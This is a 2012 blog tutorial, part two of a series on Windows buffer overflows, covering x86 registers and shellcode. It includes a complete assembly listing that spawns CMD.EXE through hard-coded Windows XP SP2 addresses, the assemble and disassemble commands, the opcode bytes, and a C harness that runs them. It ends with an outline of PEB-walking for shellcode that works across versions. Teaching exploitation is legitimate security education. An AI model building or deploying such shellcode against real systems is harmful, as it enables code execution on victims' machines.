13 July 2012

Windows Buffer Overflow Explained - Part 2

Welcome back, in part 1 we talked about the definition of the buffer overflows and how they can occur, also we talked about memory and its relations to buffer overflow. In this part we are continuing our series talking about Registers and Shellcodes.


Registers 
Processors contain memory known as registers. These registers are very small and are used for very fast processing. Registers can be thought of as variables for assembly. Registers are classified according to the functions they perform. High level registers can be categorised in four sections
  • General purpose 
  • Segment 
  • Control 
  • Other 

Registers EAX, EBX, ECX, EDX, ESI and EDI are used for general purpose variables such as mathematical operations and hold  data for an operation. These are 32 bit registers on a 32 bit processor. The 16 bit registers for EAX, EBX, ECX and EDX are known as AX, BX, CX and DX. Finally 8 bit registers are known as AL, BL, CL and DL which are the low order bits. High order bits are known as AH, BH, CH and DH. These 16 and 8 bit  registers exist for backwards compatibility and are very useful when producing smaller shellcode. The "E" means extended to address the full 32-bit registers.



Below lists the purpose of these registers 
  • EAX  accumulator register 
  • EBX  base register  
  • ECX  count register  
  • EDX  data register  
  • ESI  source index register 
  • EDI destination index register 
  • EBP base pointer register 
  • ESP  stack pointer register 
These general purpose registers consist of indexing registers, the stack registers and additional registers. The 32 bit registers can access the entire 32 bit value. For example if the value 0x41424344 is stored in an EAX register then an operation is performed on the entire value  of 0x41424344. If AX is accessed then only 0x4142 will be used in the operation. If AL is accessed then just 0x41 and if AH is access then only 0x42 would be used.

Registers ESP and EBP are also general purpose registers. ESP (extended stack pointer) is used to point to the top of the stack and the EBP (extended base pointer) is used to point to base of the stack. Registers ESP, EBP, ESI and EDI are also classed as offset registers as they hold offset addresses.

Segment registers CS, DS, ES, FS, GS and SS are 16 bit registers and are used track of segments such as pointers to the code, stack, etc and allow backwards compatibility with 16 bit applications. The EIP register (extended instruction pointer) is  a control register. This register is the most important register as having the ability to write to this register will let you control the flow of execution.

Finally the EFL register (extended flags) fall under the “other” section and is used to store various test results. The general purpose registers and control register  are the main registers we need to be aware of as these are used in writing our exploits.

Shellcode



A  shellcode is a small piece of code used as the payload in the exploitation of software vulnerability. It is known as shellcode because it typically starts a command shell from which the attacker can control the compromised machine. Shellcode is commonly written in machine code, but  any piece of code that performs a similar task can be called shellcode.  This machine code is pushed into memory where normally a buffer overflow vulnerability will take advantage of this code and execute it.  Machine codes pushed into memory are assembly language instructions represented in hexadecimal values.

For shellcode to work there are a few hurdles we must overcome. Below are the characteristics for producing shellcode.
  •  It has to be small because generally there is a limit to the buffer the attacker can inject code into. 
  • Cannot have any null bytes (0x00) as certain C functions will terminate code as the null byte is a string delimiter.   
  • Written in assembly and then converted to hexadecimal which is the shellcode. 
  • Architecture specific: shellcode produced for windows operating systems will not work for Linux operating systems.
While null bytes must not be in shellcode there are other delimiters like linefeed (0x0A), carriage return (0x0D), and many others depending on how the programmer wrote the program. We will find out about this when writing exploit code, for example certain vulnerabilities can only be exploited by sending lowercase alphabetic shellcode.  Below is an example of a simple assembly code:


; XPSP2 System() and Exit() addresses taken on 26th May 2008 
[BITS 32] 
; System("CMD.EXE"); 
push ebp 
mov ebp,esp 
xor edi,edi 
push edi 
sub esp,04h 
mov byte [ebp-08h],63h 
mov byte [ebp-07h],6Dh  
mov byte [ebp-06h],64h  
mov byte [ebp-05h],2Eh
mov byte [ebp-04h],65h  
mov byte [ebp-03h],78h  
mov byte [ebp-02h],65h 
mov eax, 0x77c293c7 
push eax 
lea eax,[ebp-08h] 
push eax 
call [ebp-0Ch]  
; Exit();   
push ebp 
mov ebp,esp 
mov edx,0x77c39e7e 
push edx 
call [ebp-04h]

The assembly code can be assembled and disassembled using the Netwide Assembler tool. To assemble the command is:

c:\>nasmw -f bin -o cmdshell.bin cmdshell.asm 

To disassemble the command is:

c:\>ndisasmw cmdshell.bin -b 32 

The output we will see when disassembled is shown below:

00000000  55                push ebp 
00000001  89E5              mov ebp,esp 
00000003  31FF              xor edi,edi 
00000005  57                push edi 
00000006  81EC04000000      sub esp,0x4 
0000000C  C645F863          mov byte [ebp-0x8],0x63 
00000010  C645F96D          mov byte [ebp-0x7],0x6d 
00000014  C645FA64          mov byte [ebp-0x6],0x64 
00000018  C645FB2E          mov byte [ebp-0x5],0x2e 
0000001C  C645FC65          mov byte [ebp-0x4],0x65 
00000020  C645FD78          mov byte [ebp-0x3],0x78 
00000024  C645FE65          mov byte [ebp-0x2],0x65 
00000028  B8C793C277        mov eax,0x77c293c7 
0000002D  50                push eax 
0000002E  8D45F8            lea eax,[ebp-0x8] 
00000031  50                push eax 
00000032  FF55F4            call near [ebp-0xc] 
00000035  55                push ebp 
00000036  89E5              mov ebp,esp 
00000038  BA7E9EC377        mov edx,0x77c39e7e 
0000003D  52                push edx 
0000003E  FF55FC            call near [ebp-0x4]

The opcodes can then be taken and put together to produce shellcode which can then be used in our C code as shown below. Opcode stands for operation code and are the hexadecimal values as highlighted above in bold.

#include <stdio.h> 
signed char cmdshell[] = 
0x55, 0x89, 0xe5, 0x31, 0xff, 0x57, 0x81, 0xec, 0x04, 0x00, 
0x00, 0x00, 0xc6, 0x45, 0xf8, 0x63, 0xc6, 0x45, 0xf9, 0x6d, 
0xc6, 0x45, 0xfa, 0x64, 0xc6, 0x45, 0xfb, 0x2e, 0xc6, 0x45, 
0xfc, 0x65, 0xc6, 0x45, 0xfd, 0x78, 0xc6, 0x45, 0xfe, 0x65, 
0xb8, 0xc7, 0x93, 0xc2, 0x77, 0x50, 0x8d, 0x45, 0xf8, 0x50, 
0xff, 0x55, 0xf4, 0x55, 0x89, 0xe5, 0xba, 0x7e, 0x9e, 0xc3, 
0x77, 0x52, 0xff, 0x55, 0xfc 
}; 
int main(int argc, char *argv[]) 
  void(*sc)() = (void *)cmdshell; 
  printf("\nShellcode size is: %d bytes\n",sizeof(cmdshell)); 
  printf("\nRunning shellcode . . .\n\n"); 
  sc(); 
  return 0; 
}

We can see that our shellcode has got nulls in it but when exploiting for real all nulls plus other characters such as 0x0a 0x20 0x22  etc. will need to be removed.


Using hard coded addresses for our shellcode will be very small and can be very useful for limited buffer sizes but this has its problems. When attacking a system different versions of the OS will have different addresses of functions so hard coded shellcode is not ideal.  Therefore shellcode needs to be written that is reliable and reusable. Windows stores a pointer to the process environment block at a known location:  FS: [0x30]. That plus  0xC is the load order module list pointer. Now, we have a linked list of modules we can traverse to look for kernel32.dll. From that we can find  LoadLibraryA() and GetProcAddress() which will allow us to load any needed DLLs and find the addresses of any other needed functions. This technique will produce version independent shellcode but produces a harder shellcode. Shellcode can now range from 300 to 800 bytes depending on the functionality. If the above shellcode was produced using this technique the size would jump from 65 bytes to 160 bytes.

for shellcode writing guide I suggest you to read 'The Shellcoder's Handbook: Discovering and Exploiting Security Holes'

to be continued in the next parts,
by Anwar Mohamed

No comments:

Post a Comment